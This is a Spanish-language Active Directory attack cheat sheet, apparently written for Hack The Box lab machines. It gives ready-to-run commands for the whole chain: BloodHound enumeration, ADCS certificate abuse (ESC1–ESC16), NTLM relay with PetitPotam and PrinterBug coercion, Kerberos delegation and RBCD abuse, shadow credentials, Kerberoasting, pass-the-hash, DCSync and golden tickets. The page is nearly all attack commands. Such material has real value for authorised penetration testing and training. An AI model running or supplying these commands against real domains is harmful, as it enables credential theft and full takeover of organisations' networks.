Active Directory a fondo

El flujo de casi toda máquina de dominio: enumerar con BloodHound, encontrar un camino (ACL, ADCS, delegación, relay) y moverte hasta el DC. Rellena arriba el dominio, el usuario y la credencial o el hash y los comandos se ajustan solos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

BloodHound

Recoge los datos, cárgalos en BloodHound CE y busca caminos. Abajo tienes consultas Cypher para pegar en la barra de búsqueda bruta (Cypher) cuando el camino no sea obvio.

Practícalo en: ForestBlackfieldCascadeSaunaSupport

Recoger los datos

Recolector remoto en Python (CE) Atacante
bloodhound-ce-python -u usuario -p 'Password123!' -d box.htb -ns 10.10.11.20 -dc dc01.box.htb -c All --zip
Con NetExec, sin instalar nada más Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20
SharpHound desde la víctima Windows Víctima
.\SharpHound.exe -c All --zipfilename datos

Consultas Cypher útiles

Pégalas en Search > Cypher. Cambia el nombre del dominio en mayúsculas si hace falta.

Marcar como pwned lo que ya controlas
MATCH (u:User) WHERE u.name STARTS WITH 'usuario' SET u.owned=true RETURN u
Caminos más cortos desde lo que controlas hasta Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group)) WHERE g.name STARTS WITH 'DOMAIN ADMINS@' RETURN p
Usuarios kerberoastables (tienen SPN)
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
Usuarios AS-REP roastables (sin preautenticación)
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
Qué puede abusar el usuario que controlas (ACL de salida)
MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN p
Equipos con delegación sin restricciones
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
Sesiones de usuarios de alto valor (dónde capturar credenciales)
MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true MATCH (c:Computer)-[:HasSession]->(u) RETURN c.name, u.name
Quién puede leer la contraseña de un gMSA
MATCH p=(n)-[:ReadGMSAPassword]->(m:User) RETURN p
Quién puede leer LAPS en qué equipos
MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer) RETURN p

ADCS (ESC1–16)

Si hay una CA de empresa, casi siempre hay un camino. Empieza siempre por el barrido de Certipy: te dice qué ESC aplica. La escalada típica acaba pidiendo un certificado que te da el hash NT del administrador.

Practícalo en: AuthorityCertifiedEscapeEscapeTwoFluffyCertificateMirageTombwatcherFriesManagerLoggingInfiltratorScepter

Buscar plantillas vulnerables

Barrido con Certipy (dice el ESC) Atacante
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Enumerar la CA con NetExec Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs

ESC1 — SAN arbitrario (suplantar a cualquiera)

La plantilla permite enrolamiento, autentica al cliente y deja que tú pongas el SAN. Pides un cert como el administrador.

Practícalo en: AuthorityEscapeTwoFriesMirageScepter

Pedir el certificado con otro SAN Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Autenticarse con el cert y sacar el hash NT Atacante
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20

ESC2/ESC3 — Any Purpose y Enrollment Agent

Practícalo en: Certificate

ESC3: pedir un cert de agente y, con él, uno a nombre de otro Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx

ESC4 — control sobre la plantilla

Tienes permisos de escritura sobre la plantilla: la haces vulnerable (como ESC1), pides el cert y la dejas como estaba.

Practícalo en: EscapeTwoInfiltrator

Hacerla vulnerable y restaurarla Atacante
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration

ESC6/ESC7 — CA y control sobre la CA

Practícalo en: FriesManager

ESC7: darte el permiso Manage Certificates y aprobar tu propia solicitud Atacante
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario

ESC8 — relay HTTP a la interfaz web de la CA

Coaccionas a un equipo para que se autentique y relayeas esa autenticación NTLM al endpoint web de inscripción de la CA. Encaja con la pestaña de NTLM relay.

Relayear a la CA y obtener un cert del equipo Atacante
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController

ESC9/ESC10 — sin mapeo fuerte de certificados

Practícalo en: CertifiedMirage

Cambiar el UPN de un usuario que controlas y pedir el cert como él Atacante
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]

ESC13/ESC14/ESC15/ESC16

ESC13: la plantilla añade a un grupo por una OID de política de emisión. ESC15 (CVE-2024-49019): meter EKU arbitrario con plantillas v1. Certipy reciente los detecta y los explota.

Practícalo en: TombwatcherFriesLogging

ESC15: aplicación-política con EKU de autenticación de cliente Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'

NTLM relay

NTLM no firma por defecto en muchos servicios: si coaccionas a un equipo (o esperas a que un usuario se conecte) puedes reenviar su autenticación a otro servicio donde valga. Comprueba primero si SMB firma.

Practícalo en: EscapeFluffyIntelligenceMailingDriverMirage

¿Dónde puedo relayear?

Equipos sin firma SMB obligatoria Atacante
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt

Montar el relay

Relay a SMB para volcar SAM Atacante
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay a LDAP para delegación o shadow credentials Atacante
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay a la CA (ESC8) para un cert del equipo Atacante
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coaccionar la autenticación

Lanza esto contra el DC apuntando a tu máquina, con el ntlmrelayx ya escuchando.

PetitPotam (MS-EFSR) Atacante
python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20
Coercer (prueba varios métodos) Atacante
coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20
PrinterBug (MS-RPRN) Atacante
python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htb

Delegación

La delegación de Kerberos deja que un servicio actúe en nombre de un usuario. Mal configurada, te permite pedir un ticket como el administrador. Tres sabores: sin restricciones, restringida y restringida basada en recursos (RBCD).

Practícalo en: AuthorityIntelligenceMirageReboundRustyKeySupportVintagePivotAPI

Encontrar delegaciones

Con Impacket Atacante
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20

Restringida (constrained) — S4U

Practícalo en: IntelligenceVintage

Pedir un ticket de servicio como administrador (S4U2proxy) Atacante
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'

Basada en recursos (RBCD)

Si puedes escribir el atributo msDS-AllowedToActOnBehalfOfOtherIdentity de un equipo, creas una cuenta de máquina y delegas sobre él.

Practícalo en: AuthorityReboundMirage

Crear una cuenta de máquina (si MachineAccountQuota > 0) Atacante
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Escribir la delegación y pedir el ticket Atacante
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20

Shadow credentials (msDS-KeyCredentialLink)

Practícalo en: ReboundMirage

Añadir una clave y sacar el hash NT con certipy Atacante
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

Impacket

La navaja suiza de AD desde Linux. Todo acepta -hashes LM:NT para pass-the-hash y -k -no-pass para Kerberos (con KRB5CCNAME puesto).

Practícalo en: ForestBlackfieldSaunaActiveScrambled

Pedir y usar tickets

TGT (y exportarlo) Atacante
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
Kerberoasting Atacante
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt

AS-REP roasting Atacante
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

Ejecutar comandos

psexec (SYSTEM) Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
wmiexec (más sigiloso) Atacante
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
con pass-the-hash Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]

Volcar credenciales

Practícalo en: ForestBlackfield

SAM/LSA (admin local) Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
DCSync Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
Golden ticket (con el hash de krbtgt) Atacante
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator